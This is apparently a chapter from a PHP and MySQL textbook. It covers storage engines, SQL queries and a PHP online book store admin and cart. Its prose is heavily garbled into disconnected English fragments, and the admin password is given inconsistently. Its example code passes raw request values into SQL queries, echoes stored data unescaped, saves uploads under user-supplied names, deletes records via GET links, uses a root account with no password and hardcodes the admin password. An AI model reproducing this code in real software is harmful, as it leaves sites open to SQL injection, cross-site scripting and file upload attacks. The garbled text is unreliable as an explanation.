Update, Delete
MySQL Storage Engine
Storage Engine
Engine Engine

MyISAM
InnoDB
Archive
Memory
CSV
NDB

- ISAM, Merge, Blackhole Engine


Engine

MyISAM

MyISAM MySQL 5.5 Version Default Storage Engine Engine


Default Engine Table Storage Engine
MyISAM
Engine (Table ) 256TB
FULLTEXT Index Support Storage Engine Table Index
Compress FULLTEXT Support Project
Search
Ranking MySQL
Performance MyISAM
Storage Engine

InnoDB

InnoDB MySQL 5.5 Default Storage Engine Engine ACID


Compliance Transaction Support Storage Engine ACID Atomicity,
Consistency, Isolation Durability
Data Integrity Test InnoDB ACID Test
Engine
(Table File ) 64TB MyISAM

Professional Web Developer () PHP and MySQL

251

Speed Engine
Performance

Row Level Locking, Non-locking Read Multi-version Support Storage Engine


Foreign Key, Rollback, Roll-forward InnoDB
MySQL Storage Engine Feature Engine

Archive

Archive Storage Engine Data Engine


Compress
Decompress Data
Data

Index
Compression
MyISAM

Memory

Memory Storage Engine Hard Disk Memory


Engine Memory MyISAM %
Database Server Run
Server Crash

Disk
Memory Application Performance Optimize

CSV

Comma Separated Value CSV File Data Comma ( , )


Text File Microsoft Excel Spreadsheet Software

CSV Storage Engine Database Table CSV File
Engine SQL Query
Index

NDB

Network Database
NDB Resource
Mainframe Cluster Environment
Storage Engine NDB (Table File ) 384EB
Storage Engine EB, Exabyte ()
Table Column ()

Professional Web Developer () PHP and MySQL

252

Storage Engine FULLTEXT Index MyISAM


InnoDB
Storage Engine
Table Database Storage Engine Table

Table MyISAM
Integrity

Table InnoDB
Relational Database
Foreign Key, Table Relationships,
Transaction, Rollback, Locking, Concurrency, Non-Locking Read

Database

(-) Storage Engine InnoDB



Table Default
InnoDB Table
Save Button phpMyAdmin categories Table

store Database Database
store Database Table categories
Table categories Table categories
Table (-)

(-) phpMyAdmin categories Table


categories Table Main Menu Operations Delete the table
(DROP) Option Table Structure Column

Professional Web Developer () PHP and MySQL

253

Change Column Add Form


Column Go Button
categories Table Main Menu Insert
(-) Form

(-) phpMyAdmin Insert


Form Form
Form

(-) id Column id Auto Increment


MySQL
phpMyAdmin
name Column remark
Column

created_date modified_date Column Value
Function Select Box NOW Function Select Box
MySQL Function NOW Function

Function crated_date modified_date

Go Button
Record Table
SQL Command Record categories Table
Record Main Menu Insert
Sciences, Religion, Fiction, Mythology, Language,
Technology, Magazine Record

Professional Web Developer () PHP and MySQL

254

Main Menu Browse (-) Record


(-) phpMyAdmin Browse Records


Record Record

Delete
Record

Edit
phpMyAdmin Database Table Record

PHP MySQL Database Server



MySQL Structure Data Database Table
Structure PHP Structure

Structure
PHP Code
PHP Record PHP
Table CRUD (Create, Read, Update, Delete)

9.3 SQL Queries

SQL Query Command Structure Query Language


SQL RDBMS Language
SQL Data
Definition Language Data Manipulation Language
Data Manipulation

Professional Web Developer () PHP and MySQL

255

Record INSERT Query

INSERT INTO categories( name, created_date, modified_date )


VALUES ( 'Comic', now(), now() );


Query
Keyword Record
INSERT INTO Key-word
Table Column
Table Column Tide Key ( ` )
( `categories`) Table Column
Space Table
Column Space Tide Key
categories Record Table Table
Column categories Table Column () ()
name, created_date, modified_date () id Auto Increment
remark

VALUES Keyword
Column () ()
Double Quote Single Quote

'Comic' Single Quote
MySQL now() Function
now() Function
Function now()
Function
MySQL DATETIME Format

Query Semi-colon
Query phpMyAdmin Main Menu SQL Box
(-) INSERT Query Go Button
Query Main Menu Browse Record

Professional Web Developer () PHP and MySQL

256

(-) phpMyAdmin SQL


SELECT Query
SELECT id, name, remark FROM categories
ORDER BY name DESC
LIMIT 5;

SELECT Keyword
Column Column

Asterisk ( * ) Column
FROM Keyword Table categories Table id, name, remark
Column
ORDER BY Keyword
Sort Column Sort Column
( - ORDER BY name, created_date)

Column Column
ORDER BY Column
DESC Keyword
SELECT Query LIMIT Record

LIMIT 5
()
LIMIT LIMIT 2, 5
() 2 5 phpMyAdmin
SQL Box

Professional Web Developer () PHP and MySQL

257

Query
Query Semi-colon Query
Query

Record UPDATE Query UPDATE categories SET name='Computer', modified_date=now()


WHERE name='Technology';

UPDATE Keyword Table SET Keyword Column


name Column 'Computer'
modified_date Column Query
Query
categories Table Record name modified_date Column
Record WHERE Keyword
WHERE name= 'Technology' name Column
Technology Record name Column
Technology Record PRIMARY
Column PRIMARY
ID
UPDATE categories SET name='Computer', modified_date=now()
WHERE id=2;

id 2 Record id PRIMARY
2 Record
Record DELETE Query DELETE FROM categories WHERE id=2;

DELETE FROM Keyword Table DELETE FROM categories


categories Table Record
Record WHERE Keyword WHERE id=2
id Column 2 Record

Professional Web Developer () PHP and MySQL

258

9.3 PHP and MySQL

PHP categories Table Create, Read, Update, Delete


Form htdocs Folder
Folder File
store/
|-- admin/
|
|-- confs/
|
|
|-- config.php
|
|-- cat-list.php
|
|-- cat-new.php
|
|-- cat-add.php
|
|-- cat-edit.php
|
|-- cat-update.php
|
|-- cat-del.php
|
|-- index.php
|-- index.php

store Folder index.php File admin Folder


admin Folder cat-list.php, cat-new.php, cat-add.php,
cat- edit.php, cat-update.php, cat-del.php, index.php File

confs Folder confs Folder config.php
File
config.php
<?php
$dbhost
$dbuser
$dbpass
$dbname

=
=
=
=

"localhost";
"root";
"";
"store";

$conn = mysql_connect($dbhost, $dbuser, $dbpass);


mysql_select_db($dbname, $conn);
?>

Variable $dbhost Variable Database Server


localhost
$dbuser Variable Database User Name
root $dbpass Variable Database Password
root User Password Quote
$dbname Variable Database store

mysql_connect() Function Database Server
Host Name, User Name Password

Professional Web Developer () PHP and MySQL

259

$dbhost, $dbuser $dbpass Variable


mysql_connect() Function Resource ID $conn Variable

PHP External Resource
Resource ID
mysql_connect() Function Resource ID ID
$conn Variable ID
mysql_select_db() Function Database
Database
Connection Resource ID $dbname $conn

Database Server Database
Database
Statement config.php
Database
config.php Include
Server Database
cat-new.php categories Table
Form HTML Structure
<body> Form
<h1>New Category</h1>
<form action="cat-add.php" method="post">
<label for="name">Category Name</label>
<input type="text" name="name" id="name">
<label for="remark">Remark</label>
<textarea name="remark" id="remark"></textarea>
<br><br>
<input type="submit" value="Add Category">
</form>

CSS <style>

form label {
display: block;
margin-top: 8px;
}

action cat-add.php
Form Submit

Professional Web Developer () PHP and MySQL

260

name remark cat-add.php


cat-add.php categories Table Code
HTML PHP Code
<?php
include("confs/config.php");
$name = $_POST['name'];
$remark = $_POST['remark'];
$sql = "INSERT INTO categories (name, remark, created_date,
modified_date) VALUES ('$name', '$remark', now(), now())";
mysql_query($sql);
header("location: cat-list.php");
?>

confs Folder config.php Include Database Server store


Database Request

$name, $remark Variable
INSERT Query $sql Variable
Table categories Table VALUES $name
$remark mysql_query() Function INSERT
Query mysql_query() Function
mysql_connect() Database Server
Database Server config.php
Table PHP
mysql_query() Function SQL Query Database Server
INSERT Query Request
categories Table Record

Query cat-list.php Redirect
cat-list.php categories Table Record
HTML Code
<body> <h1>Category List</h1>
<?php
include("confs/config.php");
$result = mysql_query("SELECT * FROM categories");
?>

Professional Web Developer () PHP and MySQL

261

<ul>
<?php while($row = mysql_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>
<a href="cat-new.php" class="new">New Category</a>

Database config.php Include mysql


_query() Function SELECT Query
mysql_query() $result Variable $result
Variable SELECT Query Resource ID Resource ID
mysql_fetch_assoc() Function
mysql_fetch_assoc() Function Resource Record
Associative Array Column Name Array
Index Record Array Value Resource
Record () mysql_fetch_assoc() Function ()
Record Loop
while Loop True
mysql_fetch_assoc() Function Record
Associative Array True
while Loop Record Record
mysql_fetch_assoc() False
False Loop
mysql_fetch_assoc() Function mysql_fetch_row() mysql_fetch_array()

mysql_fetch_row() Record Numeric Array

mysql_fetch_array() Record Numeric Array Associative Array
mysql_fetch_row() Array Index
Column Table Column Column
Column mysql_fetch_array()
Record Array
mysql_fetch_assoc()

Loop while endwhile <li> Element


Loop $row Variable mysql_fetch_assoc() Record Associate
Array name Column
$row["name"] Element Content title Attribute Value
$row["remark"] Index categories Table name

Professional Web Developer () PHP and MySQL

262

<li> Element <li> Mouse remark


Tooltip
Browser URL Bar http://localhost/store/admin/
cat-list.php
(-)

(-) Category List


cat-new.php New Category Link catnew.php cat-add.php Code
Category
Record Delete Category
cat-list.php Code

<h1>Category List</h1>
<?php
include("confs/config.php");
$result = mysql_query("SELECT * FROM categories");
?>
<ul>
<?php while($row = mysql_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
[ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>
<a href="cat-new.php" class="new">New Category</a>

Category
cat-del.php Link
cat-del.php
cat-del.php URL
id Record


Record id URL Query
Query id

Professional Web Developer () PHP and MySQL

263

<?php
include("confs/config.php");
$id = $_GET['id'];
$sql = "DELETE FROM categories WHERE id = $id";
mysql_query($sql);
header("location: cat-list.php");
?>

id WHERE Keyword DELETE Query


Record cat-list.php Redirect
http://localhost/store/admin/cat-list.php (-)
Category del Link

(-) Category List with Delete Link


del Category
Category

Edit cat-list.php

<h1>Category List</h1>
<?php
include("confs/config.php");
$result = mysql_query("SELECT * FROM categories");
?>
<ul>
<?php while($row = mysql_fetch_assoc($result)): ?>

Professional Web Developer () PHP and MySQL

264

<li title="<?php echo $row['remark'] ?>">


[ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
[ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ]
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>
<a href="cat-new.php" class="new">New Category</a>

del Link cat-edit.php edit Link



id Query String catedit.php Edit Form HTML
<body> Code
<h1>Edit Category</h1>
<?php
include("confs/config.php");
$id = $_GET['id'];
$result = mysql_query("SELECT * FROM categories WHERE id = $id");
$row = mysql_fetch_assoc($result);
?>
<form action="cat-update.php" method="post">
<input type="hidden" name="id" value="<?php echo $row['id'] ?>">
<label for="name">Category Name</label>
<input type="text" name="name" id="name"
value="<?php echo $row['name'] ?>">
<label for="remark">Remark</label>
<textarea name="remark"
id="remark"><?php echo $row['remark'] ?></textarea>
<br><br>
<input type="submit" value="Update Category">
</form>

CSS <style>
form label {
display: block;
margin-top: 8px;
}

Edit Form New Form Form

Professional Web Developer () PHP and MySQL

265

Record Form Input


Form Database
URL Query String
id SELECT
Query Category List Page mysql_fetch_assoc()
Function Loop Record Edit From SELECT Query
id WHERE Keyword
Record
categories Table id PRIMARY id Record
Loop mysql_fetch_assoc() Function
$row Variable Associative Array
HTML Form Form Input Value Database
id Hidden Input
Form Submit name,
remark
id Hidden Input
categories Table Update
Update Record id
Form action cat-update.php cat-update.php categories
Table Update
<?php
include("confs/config.php");
$id = $_POST['id'];
$name = $_POST['name'];
$remark = $_POST['remark'];
$sql = "UPDATE categories SET name='$name', remark='$remark',
modified_date=now() WHERE id = $id";
mysql_query($sql);
header("location: cat-list.php");
?>

Form id, name remark UPDATE Query


Update cat-list.php Redirect
http://localhost/store/admin/cat-list.php (-) Category
del edit Link Category edit

Professional Web Developer () PHP and MySQL

266

(-) Category List with Complete CRUD


categories Table Record
CRUD
Online Book Store

Online Book Store Store
Admin Interface
Shopping Cart Interface
Shopping Interface store Folder Admin Interface store
Folder admin Folder Category CRUD
admin Folder

9.4 Online Book Store Admin Interface

Admin Interface Table


Table books, orders, order_items (-)

Professional Web Developer () PHP and MySQL

267

(-) Table Relationship for Online Book Store


books Table
books Table
id INT Auto Increment / Primary Key
title VARCHAR (255)
author VARCHAR (255)
summary TEXT
price FLOAT
category_id INT
cover VARCHAR (255)
created_date DATETIME
modified_date DATETIME
books Table Table
category_id Column Column
id books Table
categories Table

- categories Table Record -

Professional Web Developer () PHP and MySQL

268

+----+--------------+--------+--------------+---------------+
| id | name
| remark | created_date | modified_date |
+----+--------------+--------+--------------+---------------+
| 1 | Technology
|

|
| 2 | Internet
|

|
| 3 | Programming |

|
+----+--------------+--------+--------------+---------------+

Record books Table Internet


category_id Column 2 2
id categories
Table Internet
categories Table
books Table id
(-) categories Table id Column books Table
category_id Column
One-To-Many
Relationship Internet Category

books Table cover Column cover Column
Database File

Table (-) Interface phpMyAdmin Main Menu
Design View

orders Table
orders Table
id INT Auto Increment / Primary Key
name VARCHAR (255)
email VARCHAR (255)
phone VARCHAR (255)
address TEXT
status INT (1)
created_date DATETIME
modified_date DATETIME
order Table Table
Table order_items Table

Professional Web Developer () PHP and MySQL

269

order_items Table
id INT Auto Increment / Primary Key
book_id INT
order_id INT
qty INT
order_items Table orders Table



Table (-)
order_ items Table book_id Column books Table id Column
order_id Column orders Table id Column
created_date modified_date order_items Table
orders Table
Table CRUD Interface
store Folder File Folder
store/
|-- admin/
|
|-- confs/
|
|
|-- config.php
|
|-- covers/ *
|
|-- cat-list.php
|
|-- cat-new.php
|
|-- cat-add.php
|
|-- cat-edit.php
|
|-- cat-update.php
|
|-- cat-del.php
|
|-- index.php
|
|-- book-list.php *
|
|-- book-new.php *
|
|-- book-add.php *
|
|-- book-edit.php *
|
|-- book-update.php *
|
|-- book-del.php *
|-- index.php

File Folder Star


File Folder Star
covers Folder File books Table CRUD
File categories Table Code
book-new.php HTML
<body> Form

Professional Web Developer () PHP and MySQL

270

<h1>New Book</h1>
<form action="book-add.php" method="post" enctype="multipart/form-data">
<label for="title">Book Title</label>
<input type="text" name="title" id="title">
<label for="author">Author</label>
<input type="text" name="author" id="author">
<label for="summary">Summary</label>
<textarea name="summary" id="summary"></textarea>
<label for="price">Price</label>
<input type="text" name="price" id="price">
<label for="categories">Category</label>
<select name="category_id" id="categories">
<option value="0">-- Choose --</option>
<?php
include("confs/config.php");
$result = mysql_query("SELECT id, name FROM categories");
while($row = mysql_fetch_assoc($result)):
?>
<option value="<?php echo $row['id'] ?>">
<?php echo $row['name'] ?>
</option>
<?php endwhile; ?>
</select>
<label for="cover">Cover</label>
<input type="file" name="cover" id="cover">
<br><br>
<input type="submit" value="Add Book">
<a href="book-list.php" class="back">Back</a>
</form>

Form Upload <form>


Element enctype Attribute Category
Select Box
Select Box <option>
categories Table Category id <option> value
Category name Content
Select Box
CSS <style>

form label {
display: block;
margin-top: 8px;
}

Professional Web Developer () PHP and MySQL

271

Form action book-add.php


book-add.php books Table Record
Code
<?php
include("confs/config.php");
$title = $_POST['title'];
$author = $_POST['author'];
$summary = $_POST['summary'];
$price = $_POST['price'];
$category_id = $_POST['category_id'];
$cover = $_FILES['cover']['name'];
$tmp = $_FILES['cover']['tmp_name'];
if($cover) {
move_uploaded_file($tmp, "covers/$cover");
}
$sql = "INSERT INTO books (
title, author, summary, price, category_id,
cover, created_date, modified_date
) VALUES (
'$title', '$author', '$summary', '$price',
'$category_id', '$cover', now(), now()
)";
mysql_query($sql);
header("location: book-list.php");
?>

Form Image File File Upload


File covers Folder
move_uploaded_file()
books Table cover Column
File
book-list.php Redirect book-list.php
HTML <body> Code

<h1>Book List</h1>
<?php
include("confs/config.php");
$result = mysql_query("
SELECT books.*, categories.name
FROM books LEFT JOIN categories
ON books.category_id = categories.id
ORDER BY books.created_date DESC
");
?>

Professional Web Developer () PHP and MySQL

272

<ul class="books">
<?php while($row = mysql_fetch_assoc($result)): ?>
<li>
<img src="covers/<?php echo $row['cover'] ?>"
alt="" align="right" height="140">
<b><?php echo $row['title'] ?></b>
<i>by <?php echo $row['author'] ?></i>
<small>(in <?php echo $row['name'] ?>)</small>
<span>$<?php echo $row['price'] ?></span>
<div><?php echo $row['summary'] ?></div>
[<a href="book-del.php?id=<?php echo $row['id'] ?>" class="del">del</a>]

[<a href="book-edit.php?id=<?php echo $row['id'] ?>">edit</a>]


</li>
<?php endwhile; ?>
</ul>
<a href="book-new.php" class="new">New Book</a>

SELECT Query books Table


Category Category ID
ID ID
Category
categories Table
books Table books Table
category_id Category categories Table
books Table
categories Table
SELECT Query
SELECT Query
SELECT books.*, categories.name - books Table Column categories Table
name Column
FROM books LEFT JOIN categories - books Table categories Table Table

ON books.category_id = categories.id - books Table category_id Column
categories Table id Column Record name Column
books Table Column
Record category_id Category Table

Professional Web Developer () PHP and MySQL

273

+----+-------+--------+---------+-------+-------------+---+---------------+++------+
| id | title | author | summary | price | category_id | | modified_date |+| name |
+----+-------+--------+---------+-------+-------------+---+---------------+++------+
| 1 | Book1 |

| 2
| |

|+| Tech |
| 2 | Book2 |

| 5
| |

|+| Web |
| 3 | Book3 |

| 2
| |

|+| Tech |
+----+-------+--------+---------+-------+-------------+---+---------------+++------+

Record <li> Element cover Column


<img> Element src cover File Name
title, author, summary, price, name
(Category Name) Element

Edit, Delete Link Browser URL
Bar http://localhost/store/admin/book-new.php
Form Form Browser URL
http://localhost/ store/admin/book-list.php
(-)

(-) Online Book Store - Book List


del, edit
Code book-del.php

Professional Web Developer () PHP and MySQL

274

<?php
include("confs/config.php");
$id = $_GET['id'];
$sql = "DELETE FROM books WHERE id = $id";
mysql_query($sql);
header("location: book-list.php");
?>

Request id books
Table Record DELETE Query
book-edit.php HTML <body>
<?php
include("confs/config.php");
$id = $_GET['id'];
$result = mysql_query("SELECT * FROM books WHERE id = $id");
$row = mysql_fetch_assoc($result);
?>
<h1>Edit Book</h1>
<form action="book-update.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="id" value="<?php echo $row['id'] ?>">
<label for="title">Book Title</label>
<input type="text" name="title" id="title"
value="<?php echo $row['title'] ?>">
<label for="author">Author</label>
<input type="text" name="author" id="author"
value="<?php echo $row['author'] ?>">
<label for="sum">Summary</label>
<textarea name="summary" id="sum"><?php echo $row['summary'] ?></textarea>
<label for="price">Price</label>
<input type="text" name="price" id="price"
value="<?php echo $row['price'] ?>">
<label for="categories">Category</label>
<select name="category_id" id="categories">
<option value="0">-- Choose --</option>
<?php
$categories = mysql_query("SELECT id, name FROM categories");
while($cat = mysql_fetch_assoc($categories)):
?>
<option value="<?php echo $cat['id'] ?>"
<?php if($cat['id'] == $row['category_id']) echo "selected" ?> >
<?php echo $cat['name'] ?>
</option>
<?php endwhile; ?>

Professional Web Developer () PHP and MySQL

275

</select>
<br><br>
<img src="covers/<?php echo $row['cover'] ?>" alt="" height="150">
<label for="cover">Change Cover</label>
<input type="file" name="cover" id="cover">
<br><br>
<input type="submit" value="Update Book">
<a href="book-list.php">Back</a>
</form>

Edit Form id Hidden Input


Form Category
Select Box
Edit Record category_id Select Box categories ID
selected Attribute <img>
Element Image Form action book-update.php
book-update.php
<?php
include("confs/config.php");
$id = $_POST['id'];
$title = $_POST['title'];
$author = $_POST['author'];
$summary = $_POST['summary'];
$price = $_POST['price'];
$category_id = $_POST['category_id'];
$cover = $_FILES['cover']['name'];
$tmp = $_FILES['cover']['tmp_name'];
if($cover) {
move_uploaded_file($tmp, "covers/$cover");
$sql = "UPDATE books SET title='$title', author='$author',
summary='$summary', price='$price', category_id='$category_id',
cover='$cover', modified_date=now() WHERE id = $id";
} else {
$sql = "UPDATE books SET title='$title', author='$author',
summary='$summary', price='$price', category_id='$category_id',
modified_date=now() WHERE id = $id";
}
mysql_query($sql);
header("location: book-list.php");
?>

Professional Web Developer () PHP and MySQL

276

Edit Form UPDATE Query


Request
File File Upload
File cover Column
Update Update cover Column

books Table CRUD



CSS Style
File

store/
|-- admin/
|
|-- confs/
|
|
|-- config.php
|
|
|-- auth.php *
|
|-- covers/
|
|-- css/ *
|
|
|-- style.css *
|
|-- cat-list.php
|
|-- cat-new.php
|
|-- cat-add.php
|
|-- cat-edit.php
|
|-- cat-update.php
|
|-- cat-del.php
|
|-- index.php
|
|-- book-list.php
|
|-- book-new.php
|
|-- book-add.php
|
|-- book-edit.php
|
|-- book-update.php
|
|-- book-del.php
|
|-- login.php *
|
|-- logout.php *
|
|-- orders.php *
|
|-- order-status.php *
|-- index.php

confs Folder auth.php File css Folder


style.css File css Folder
login.php, logout.php, orders.php order-status.php
File Folder style.css CSS Style

html {
background: #95A5A6;
}

Professional Web Developer () PHP and MySQL

body {
font-family: Arial, Helvetica, sans-serif;
width: 900px;
background: #fff;
border: 4px solid #2C3E50;
margin: 20px auto;
}
h1 {
padding: 10px;
font-size: 21px;
background: #2C3E50;
margin: 0;
color: #fff;
}
ul.list {
list-style: none;
margin: 20px;
padding: 0;
}
ul.list li {
overflow: hidden;
border-bottom: 1px solid #ddd;
padding-bottom: 10px;
margin-bottom: 20px;
}
ul.list b {
display: block;
font-size: 18px;
margin-bottom: 5px;
color: #2980B9;
}
ul.list i, ul.list small {
color: #888;
font-size: 12px;
margin-right: 10px;
}
ul.list span {
color: #8E44AD;
}
ul.list div {
margin: 5px 0;
font-size: 13px;
line-height: 1.5em;
color: #555;
}
ul.list img {
margin-left: 20px;
}

277

Professional Web Developer () PHP and MySQL

278

ul.list a {
color: #2980B9;
}
ul.list a.del {
color: #D35400;
}
a.new {
display: block;
padding: 8px 0;
text-align: center;
width: 160px;
margin: 10px;
color: #fff;
background: #1ABC9C;
border: 1px solid #ccc;
text-decoration: none;
}
form {
margin: 20px;
}
form label {
display: block;
margin-top: 10px;
color: #555;
}
input[type=text],
input[type=password],
textarea,
select {
font-family: Arial, Helvetica, sans-serif;
border: 1px solid #ddd;
padding: 6px;
width: 300px;
background: #fff;
}
textarea {
height: 100px;
}
input[type=submit] {
padding: 10px 24px;
margin-right: 10px;
}

book-list.php, book-new.php, book-edit.php, cat-list.php, cat-new.php,


cat-edit.php <head> <link> Element CSS File
CSS <link> Element

Professional Web Developer () PHP and MySQL

279

<link rel="stylesheet" href="css/style.css">

CSS Style
)

Interface (-

(-) Book List with CSS Style


book-list.php, book-new.php, book-edit.php, cat-list.php, cat-new.
php, cat-edit.php Menu URL
Menu Menu HTML

<ul class="menu">
<li><a href="book-list.php">Manage Books</a></li>
<li><a href="cat-list.php">Manage Categories</a></li>
<li><a href="orders.php">Manage Orders</a></li>
<li><a href="logout.php">Logout</a></li>
</ul>

Script HTML Structure <h1> Element style.css


Menu CSS

Professional Web Developer () PHP and MySQL

280

ul.menu {
list-style: none;
margin: 0;
padding: 0;
overflow: hidden;
background: #16A085;
}
ul.menu li {
float: left;
border-right: 1px solid #1ABC9C;
}
ul.menu a {
display: block;
padding: 10px 20px;
text-decoration: none;
color: #fff;
}
ul.menu a:hover {
background: #1ABC9C;
}

Script book-list.php, cat-list.php,


logout.php Menu

orders.php

Online Book Store


Shopping Cart Interface Admin Interface
Password confs
Folder auth.php Code
<?php
session_start();
if(!isset($_SESSION['auth'])) {
header("location: index.php");
exit();
}
?>

User Login
Login auth Session
index.php Redirect auth.php
book-list.php, cat-list.php, book-new.php, cat-new.php
admin Folder Script
Include

Professional Web Developer () PHP and MySQL

281

<?php include("confs/auth.php") ?>

Session Content Include


Login index.php
Redirect index.php Login Form
HTML <body> Login Form

<h1>Login to Book Store Administration</h1>
<form action="login.php" method="post">
<label for="name">Name</label>
<input type="text" id="name" name="name">
<label for="password">Password</label>
<input type="password" id="password" name="password">
<br><br>
<input type="submit" value="Admin Login">
</form>

Login Form css Folder style.css


<link> Element admin Folder Script
index.php Login Form Login Form action
login.php
login.php Username Password

<?php
session_start();
$name = $_POST['name'];
$password = $_POST['password'];
if($name == "admin"
$_SESSION['auth']
header("location:
} else {
header("location:
}

and $password == "214365") {


= true;
book-list.php");
index.php");

?>

Username admin Password 214365 Information


Admin Interface auth Session
http://localhost/store/admin/ Browser URL Bar Login Form
Username admin Password 213465 Login

Professional Web Developer () PHP and MySQL

282

Login book-list.php Redirect


Logout logout.php
<?php
session_start();
unset($_SESSION['auth']);
header("location: index.php");
?>


Admin Interface Order
Order Shopping Cart Interface

9.5 Online Book Store - Shopping Cart Interface

Shopping Cart Interface File Folder


store/
|-- admin/
|
|-- confs/
|
|
|-- config.php
|
|
|-- auth.php
|
|-- covers/
|
|-- css/
|
|
|-- style.css
|
|-- cat-list.php
|
|-- cat-new.php
|
|-- cat-add.php
|
|-- cat-edit.php
|
|-- cat-update.php
|
|-- cat-del.php
|
|-- index.php
|
|-- book-list.php
|
|-- book-new.php
|
|-- book-add.php
|
|-- book-edit.php
|
|-- book-update.php
|
|-- book-del.php
|
|-- login.php
|
|-- login.php
|
|-- orders.php
|
|-- order-status.php
|-- css/ *
|
|-- style.css *
|-- book-detail.php *
|-- add-to-cart.php *
|-- view-cart.php *
|-- clear-cart.php *
|-- submit-order.php *
|-- index.php

Professional Web Developer () PHP and MySQL

283

File Folder store Folder Style Admin


Interface
css Folder css
Folder style.css File store Folder Shopping Cart
File
index.php
index.php Project
index.php store Folder Code
HTML Structure
<?php
session_start();
include("admin/confs/config.php");
$cart = 0;
if(isset($_SESSION['cart'])) {
foreach($_SESSION['cart'] as $qty) {
$cart += $qty;
}
}
if(isset($_GET['cat'])) {
$cat_id = $_GET['cat'];
$books = mysql_query("SELECT * FROM books WHERE category_id = $cat_id");
} else {
$books = mysql_query("SELECT * FROM books");
}
$cats = mysql_query("SELECT * FROM categories");
?>
<!doctype html>
<html>
<head>
<title>Book Store</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<h1>Book Store</h1>
<div class="info">
<a href="view-cart.php">
(<?php echo $cart ?>) books in your cart
</a>
</div>
<div class="sidebar">
<ul class="cats">
<li>
<b><a href="index.php">All Categories</a></b>
</li>

Professional Web Developer () PHP and MySQL

284

<?php while($row = mysql_fetch_assoc($cats)): ?>


<li>
<a href="index.php?cat=<?php echo $row['id'] ?>">
<?php echo $row['name'] ?>
</a>
</li>
<?php endwhile; ?>
</ul>
</div>
<div class="main">
<ul class="books">
<?php while($row = mysql_fetch_assoc($books)): ?>
<li>
<img src="admin/covers/<?php echo $row['cover'] ?>" height="150">
<b>
<a href="book-detail.php?id=<?php echo $row['id'] ?>">
<?php echo $row['title'] ?>
</a>
</b>
<i>$<?php echo $row['price'] ?></i>
<a href="add-to-cart.php?id=<?php echo $row['id'] ?>"
class="add-to-cart">Add to Cart</a>
</li>
<?php endwhile; ?>
</ul>
</div>
<div class="footer">
&copy; <?php echo date("Y") ?>. All right reserved.
</div>
</body>
</html>

Supermarket
( )
Book Store Order
Shopping Cart

Session session_start()
Function Database config.php Include

cart Session foreach Loop
Loop $cart Variable
index.php Category

- URL Query String cat=1 Category ID 1
index.php

Professional Web Developer () PHP and MySQL

285

Request cat Query String


SELECT Query Query String cat
Value Query

Category Menu categories Table


SELECT Query

<body> Element Class info
<div>
$cart Variable Class sidebar
<div>
Category Link Link index.php (
Document) Category ID URL Query
String Category Menu
Class main
<div>
Title Title Link
<a> Element
Add to Cart Link

Add to Cart
Add to Cart Link add-to-cart.php add-to-cart.php
cart Session
Code CSS Style
Code <link> Element css Folder style.css
style.css CSS index.php
Style
html {
background: #34495E;
}
body {
font-family: Arial, Helvetica, sans-serif;
width: 900px;
background: #e5e5e5;
border: 4px solid #3498DB;
margin: 20px auto;
}
h1 {
padding: 10px;
font-size: 21px;
background: #3498DB;
margin: 0;

Professional Web Developer () PHP and MySQL

color: #fff;
}
a {
color: #2980B9;
text-decoration: none;
}
a:hover {
color: #3498DB;
}
.info {
background: #2980B9;
padding: 8px;
text-align: right;
}
.info a {
color: #fff;
font-size: 14px;
text-decoration: none;
border-bottom: 1px dotted #fff;
}
.info a:hover {
border-bottom: 1px solid #fff;
}
.sidebar {
float: left;
width: 240px;
}
.cats {
list-style: none;
padding: 0;
}
.cats li a {
display: block;
font-size: 15px;
padding: 8px 15px;
border-bottom: 1px solid #ddd;
}
.cats li a:hover {
background: #efefef;
}
.main {
float: right;
width: 660px;
background: #fff;
}

286

Professional Web Developer () PHP and MySQL

.books {
list-style: none;
margin: 15px;
padding: 0;
overflow: hidden;
}
.books li {
width: 190px;
text-align: center;
height: 240px;
float: left;
margin: 20px 10px;
font-size: 15px;
}
.books b {
display: block;
margin: 5px 0;
font-weight: normal;
}
.books i {
color: #E74C3C;
}
a.add-to-cart {
font-size: 13px;
display: block;
background: #1ABC9C;
color: #fff;
padding: 5px 0;
margin: 5px 30px;
}
a.del {
color: #D35400;
}
.footer {
clear: both;
background: #95A5A6;
color: #fff;
font-size: 13px;
padding: 8px;
text-align: center;
border-top: 1px solid #7F8C8D;
}
.detail {
padding: 20px;
background: #fff;
}
.detail .back {
float: right;

287

Professional Web Developer () PHP and MySQL

}
.detail a.add-to-cart {
margin: 0;
width: 160px;
text-align: center;
padding: 10px 0;
}
table {
margin: 20px;
border-spacing: 1px;
background: #16A085;
}
td {
background: white;
border-collapse: collapse;
padding: 8px;
}
th {
color: white;
padding: 8px;
}
.order-form {
margin: 20px;
}
.order-form h2 {
margin: 40px 0 10px 0;
padding: 0 0 5px 0;
border-bottom: 1px solid #ddd;
font-size: 18px;
color: #C0392B;
}
form label {
display: block;
margin-top: 10px;
color: #555;
}
input[type=text],
input[type=password],
textarea,
select {
font-family: Arial, Helvetica, sans-serif;
border: 1px solid #ddd;
padding: 6px;
width: 300px;
background: #fff;
}

288

Professional Web Developer () PHP and MySQL

289

textarea {
height: 100px;
}
input[type=submit] {
padding: 10px 24px;
margin-right: 10px;
}
.msg {
background: #1ABC9C;
color: #fff;
text-align: center;
padding: 10px;
margin: 50px 20px;
}
.msg a {
color: #eee;
border-bottom: 1px dotted #fff;
}
label.error {
color: #900;
font-size: 13px;
font-style: italic;
margin-top: -1px;
}
.search {
margin-top: 20px;
}
.search input[type=text] {
width: 180px;
margin-left: 8px;
}
.search input[type=submit] {
width: 32px;
height: 32px;
cursor: pointer;
background: transparent url(../images/search.png) no-repeat center center;
border: 0 none;
padding: 0;
margin: 0 0 0 -5px;
}

Browser URL Bar http://localhost/store/ (-)


Professional Web Developer () PHP and MySQL

290

(-) Online Book Store - Shopping Cart Interface


Category Menu Category Category

book-detail.php


HTML <body>
Code
<h1>Book Detail</h1>
<?php
